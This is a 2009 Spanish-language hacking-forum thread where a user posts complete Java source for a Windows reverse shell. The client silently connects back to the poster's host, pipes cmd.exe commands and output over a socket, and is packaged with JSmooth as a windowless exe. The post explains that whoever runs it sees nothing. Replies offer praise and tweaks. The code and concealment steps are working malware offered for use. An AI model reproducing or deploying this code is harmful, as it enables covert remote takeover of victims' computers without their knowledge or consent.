elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Trabajando con las ramas de git (tercera parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  Java
| | | |-+  Reverse Shell para Windows en Java
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Reverse Shell para Windows en Java  (Leído 5,023 veces)
Danther

Desconectado Desconectado

Mensajes: 26



Ver Perfil
Reverse Shell para Windows en Java
« en: 3 Agosto 2009, 19:46 pm »

Bueno, dado que no tuve maneras de hacerlo con python, lo he acabado haciendo en Java XD
Aunque ha quedado mas largo de lo que me gustaria....

Bueno, pues es eso, dejais a la escucha el servidor y cuando alguien ejecute el cliente os devuelve acceso a una linea de comandos sin que a el le aparezca nada :3

Hay que ponerle tu ip y un puerto en los valores por defectos dentro del cliente para que se conecte automaticamente
En cuanto al puerto, cuanto mas alto, mas gloria (no useis uno bajo...)

Lo suyo es que si lo vais a usar comprimais en un jar el servidor y en otro el cliente, y luego el cliente lo convirtais en un exe con JSmooth
Para ello en el JSmooth le poneis:
-En Skeleton: Windowed Wrapper y le borrais todos los mensajes
-En Executable los valores que querais
-En Application le añadis el jar y le selecionas la main class, acordaros tambien de añadir el mismo jar en lo de embedded jar


Cliente

-Main
Código
  1. /**
  2.  *
  3.  * Autor: Danther
  4.  * Fecha: 03/08/2009
  5.  *
  6.  **/
  7.  
  8. package reverse_cliente;
  9.  
  10. import java.io.BufferedReader;
  11. import java.io.IOException;
  12. import java.io.InputStreamReader;
  13. import java.io.OutputStreamWriter;
  14. import java.io.PrintWriter;
  15. import java.net.Socket;
  16.  
  17. public class Main {
  18.  
  19.    private Socket s;
  20.    private BufferedReader comandos;
  21.    private PrintWriter envioRespuesta;
  22.    private PrintWriter envioComando;
  23.    private BufferedReader lecturaComando;
  24.    public static boolean activo = true;
  25.    private char unidad;
  26.    private String directorio;
  27.    private Process t;
  28.  
  29.    Main(String[] args){
  30.        //Abrimos un socket hacia nuestra maquina
  31.        try{
  32.            s = new Socket(args[0], Integer.parseInt(args[1]));
  33.        }catch(Exception e){
  34.            System.out.println("Host o puerto no validos");
  35.            System.exit(-1);
  36.        }
  37.        //Creamos los stream socket, para recibir los comandos
  38.        try{
  39.            comandos = new BufferedReader(new InputStreamReader(s.getInputStream()));
  40.            envioRespuesta = new PrintWriter(new OutputStreamWriter(s.getOutputStream()));
  41.            envioRespuesta.println("Conexion abierta desde "+s.getInetAddress().toString()+" por el puerto "+s.getLocalPort());
  42.            envioRespuesta.flush();
  43.        }catch(IOException ioe){
  44.            System.out.println("Error al crear los streams");
  45.            System.exit(-1);
  46.        }
  47.        //Obtenemos la unidad en la que se encuentra este archivo
  48.        unidad = this.getClass().getResource("").getPath().charAt(6);
  49.        directorio = unidad+":"barra invertida""barra invertida""; //Poner las barras invertidas de verdad antes de compilar,
  50.                             //las he quitado por problemas con el code de phpbb
  51.        //Abrimos el interprete de comandos en la raiz de la unidad y se lo pasamos a Lectura
  52.        try {            
  53.            t = Runtime.getRuntime().exec("cmd /K cd "+directorio);            
  54.            envioComando = new PrintWriter(new OutputStreamWriter(t.getOutputStream()));
  55.            lecturaComando = new BufferedReader(new InputStreamReader(t.getInputStream()));
  56.            //Finalizamos el proceso del ejecutable, y dejamos solo el cmd.exe y java corriendo
  57.            envioComando.println("taskkill /F /IM Reverse_Cliente.exe");
  58.            envioComando.println();
  59.            envioComando.flush();
  60.        } catch (IOException ex) {
  61.            System.out.println("Error al abrir el interprete de comandos");
  62.            System.exit(-1);
  63.        }
  64.    }
  65.  
  66.    private void Reverse(){
  67.        String com;
  68.        String resp;
  69.        try {
  70.            envioRespuesta.println(lecturaComando.readLine());
  71.            envioRespuesta.println(lecturaComando.readLine());
  72.            envioRespuesta.flush();
  73.        } catch (Exception u) {
  74.            activo = false;
  75.            this.close();
  76.        }
  77.  
  78.        //Bucle principal
  79.        while(activo){
  80.            //Esperamos una nueva orden, en caso de ser C3rrand0 finaliza la ejecucion
  81.            try{
  82.                com = comandos.readLine();
  83.                if(com.indexOf("C3rrand0") != -1){
  84.                    activo = false;
  85.                    this.close();
  86.                    break;
  87.                }
  88.            }catch(IOException ioe){
  89.                activo = false;
  90.                this.close();
  91.                break;
  92.            }
  93.            //Ejecutamos la nueva orden y enviamos la respuesta
  94.            try{
  95.                envioComando.println(com);
  96.                envioComando.println("55221276");
  97.                envioComando.flush();
  98.                while((resp = lecturaComando.readLine()).indexOf("55221276") == -1){
  99.                    envioRespuesta.println(resp);
  100.                    envioRespuesta.flush();
  101.                }
  102.            }catch(Exception i){
  103.            }
  104.        }
  105.    }
  106.  
  107.    private void close(){
  108.        //Cerramos los streams y el socket
  109.        try {
  110.            lecturaComando.close();
  111.            envioRespuesta.close();
  112.            envioComando.close();
  113.            comandos.close();
  114.            s.close();
  115.            System.exit(0);
  116.        } catch (IOException ex) {
  117.            System.out.println("Error al cerrar");
  118.            System.exit(-1);
  119.        }
  120.  
  121.    }
  122.  
  123.    public static void main(String[] args) {
  124.        Main main = null;
  125.        if(args.length == 2){
  126.            main = new Main(args);
  127.            main.Reverse();
  128.        }else if(args.length != 0){
  129.            System.out.println("Reverse Shell en Windows por Danther (Cliente)");
  130.            System.out.println("====================================");
  131.            System.out.println();
  132.            System.out.println("Uso:");
  133.            System.out.println("Reverse_Cliente.exe \"Tu propia ip\" \"Un puerto a la escucha\"");
  134.            System.exit(0);
  135.        //Si se ejecuta sin argumentos
  136.        }else{
  137.            String[] argsD = {"Host por defecto", "Puerto por defecto"};
  138.            main = new Main(argsD);
  139.            main.Reverse();
  140.        }
  141.    }
  142.  
  143. }
  144.  

Servidor

-Main
Código
  1. /**
  2.  *
  3.  * Autor: Danther
  4.  * Fecha: 03/08/2009
  5.  *
  6.  **/
  7.  
  8. package reverse_servidor;
  9.  
  10. import java.io.BufferedReader;
  11. import java.io.IOException;
  12. import java.io.InputStreamReader;
  13. import java.io.OutputStreamWriter;
  14. import java.io.PrintWriter;
  15. import java.net.ServerSocket;
  16. import java.net.Socket;
  17. import java.util.logging.Level;
  18. import java.util.logging.Logger;
  19.  
  20. public class Main {
  21.  
  22.    private ServerSocket ss;
  23.    private Socket s;
  24.    private PrintWriter comandos;
  25.    private BufferedReader envio;
  26.    protected static boolean activo = true;
  27.  
  28.    Main(String[] args){
  29.        try {
  30.            //Creamos el servidor y esperamos a una conexion entrante
  31.            ss = new ServerSocket(Integer.parseInt(args[0]));
  32.            s = ss.accept();
  33.            //Creamos un stream para enviar comandos y otro para leer nuestra entrada
  34.            comandos = new PrintWriter(new OutputStreamWriter(s.getOutputStream()));
  35.            envio = new BufferedReader(new InputStreamReader(System.in));
  36.            //Iniciamos el thread lectura
  37.            Lectura lectura = new Lectura(s);
  38.            lectura.start();
  39.        } catch (Exception ex) {
  40.            Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
  41.        }
  42.    }
  43.  
  44.    private void Envio() {
  45.        String env;
  46.        //Bucle principal
  47.        while(activo){
  48.            //Leemos nuestra entrada y la enviamos al cliente, si esta es C3rrand0 ceramos la conexion
  49.            try {
  50.                env = envio.readLine();
  51.                comandos.println(env);
  52.                comandos.flush();
  53.                if(env.indexOf("C3rrand0") != -1){
  54.                    activo = false;                    
  55.                    this.close();
  56.                    break;
  57.                }
  58.            } catch (IOException ex) {
  59.                Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
  60.                activo = false;
  61.                this.close();
  62.                break;
  63.            }
  64.        }
  65.    }
  66.  
  67.    private void close() {
  68.        //Cerramos los stream y los sockets
  69.        try {
  70.            Lectura.respuesta.close();
  71.            comandos.close();
  72.            envio.close();
  73.            s.close();
  74.            ss.close();
  75.        } catch (IOException ex) {
  76.            Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
  77.            System.exit(-1);
  78.        }
  79.  
  80.    }
  81.  
  82.    public static void main(String[] args) {
  83.        Main main = null;
  84.        if(args.length == 2){
  85.            main = new Main(args);
  86.            main.Envio();
  87.        }else if(args.length != 0){
  88.            System.out.println("Reverse Shell en Windows por Danther (Servidor)");
  89.            System.out.println("====================================");
  90.            System.out.println();
  91.            System.out.println("Uso:");
  92.            System.out.println("Reverse_Servidor.jar \"Un puerto local a la escucha\", \"Cualquier valor\"");
  93.            System.exit(0);
  94.        }else{
  95.            //Si se ejecuta sin argumentos
  96.            String[] argsD = {"Puerto local por defecto", "0"};
  97.            main = new Main(argsD);
  98.            main.Envio();
  99.        }
  100.    }
  101.  
  102. }
  103.  
  104.  

-Lectura
Código
  1. /**
  2.  *
  3.  * Autor: Danther
  4.  * Fecha: 03/08/2009
  5.  *
  6.  **/
  7.  
  8. package reverse_servidor;
  9.  
  10. import java.io.BufferedReader;
  11. import java.io.IOException;
  12. import java.io.InputStreamReader;
  13. import java.net.Socket;
  14.  
  15. public class Lectura extends Thread{
  16.  
  17.    protected static BufferedReader respuesta;
  18.  
  19.    Lectura(Socket s) throws IOException{
  20.        //Creamos un stream para leer lo que envie el socket
  21.        respuesta = new BufferedReader(new InputStreamReader(s.getInputStream()));
  22.    }
  23.  
  24.    @Override
  25.    public void run() {
  26.        String resp;
  27.        //Blucle principal
  28.        while(Main.activo){
  29.            //Leemos la entrada del socket y la mostramos
  30.            try {
  31.                resp = respuesta.readLine();
  32.                if (resp != null){
  33.                System.out.println(resp);
  34.                }
  35.            } catch (IOException ex) {
  36.                System.out.println("Conexion terminada");
  37.                Main.activo = false;
  38.            }
  39.        }
  40.    }
  41.  
  42. }
  43.  


Pd: Como lo useis, modifiqueis y/o integreis, es cosa vuestra :3 XD


« Última modificación: 4 Agosto 2009, 17:37 pm por Danther » En línea

Debci
Wiki

Desconectado Desconectado

Mensajes: 2.021


Actualizate o muere!


Ver Perfil WWW
Re: Reverse Shell para Windows en Java
« Respuesta #1 en: 3 Agosto 2009, 21:49 pm »

mmm para window sy que tiene que ver que sea para windows?
java no es multiplataforma?  :D

saludos


En línea

Danther

Desconectado Desconectado

Mensajes: 26



Ver Perfil
Re: Reverse Shell para Windows en Java
« Respuesta #2 en: 3 Agosto 2009, 22:23 pm »

Java es multiplataforma
La interprete de comandos para la que esta preparado mi programa es la de windows XD

No te abriria el bash de linux ni aunque se lo suplicaras XD
En línea

juancho77


Desconectado Desconectado

Mensajes: 455


rie con demencia


Ver Perfil
Re: Reverse Shell para Windows en Java
« Respuesta #3 en: 4 Agosto 2009, 07:34 am »

 ;-) buenisimo esto amigo.
En línea

Danther

Desconectado Desconectado

Mensajes: 26



Ver Perfil
Re: Reverse Shell para Windows en Java
« Respuesta #4 en: 4 Agosto 2009, 17:39 pm »

Gracias ^^

He modificado el cliente, ahora solo necesita una clase y no usa un thread
Con lo que ademas he solucionado un bug que tenia a la hora de cerrar la conexion (cortaba la conexion, pero no cerraba el cliente)


PD: No hagais maldades... XD
En línea

egyware


Desconectado Desconectado

Mensajes: 526



Ver Perfil WWW
Re: Reverse Shell para Windows en Java
« Respuesta #5 en: 14 Agosto 2009, 17:05 pm »

Hola, felicitaciones por el trabajo
Yo tambien hice algo por el estilo pero lo unico que fue que hice fue como un redireccion de los flujos de datos de la consola a los flujos de datos del socket eso es mas general y talvez se pueda con una pequeña modificación abrir una shell de linux.
Adios
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Para que sirve REVERSE???
Hacking
shelbystreet 2 6,100 Último mensaje 11 Mayo 2011, 16:59 pm
por shelbystreet
Reverse Engineering Mentoring enfocado al malware en Windows
Seguridad
r32 0 1,792 Último mensaje 19 Septiembre 2012, 00:28 am
por r32
SAPI de Windows para Java
Java
Macarena 0 1,376 Último mensaje 29 Agosto 2014, 16:43 pm
por Macarena
¿Shell para windows?
Mensajería
kaniho 2 7,992 Último mensaje 30 Julio 2015, 19:22 pm
por Minusfour_cierralo_o_baneamefull
Reverse Image Search para doxing.
Dudas Generales
[Arg] $triker; 3 3,440 Último mensaje 2 Febrero 2017, 11:21 am
por Randomize
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines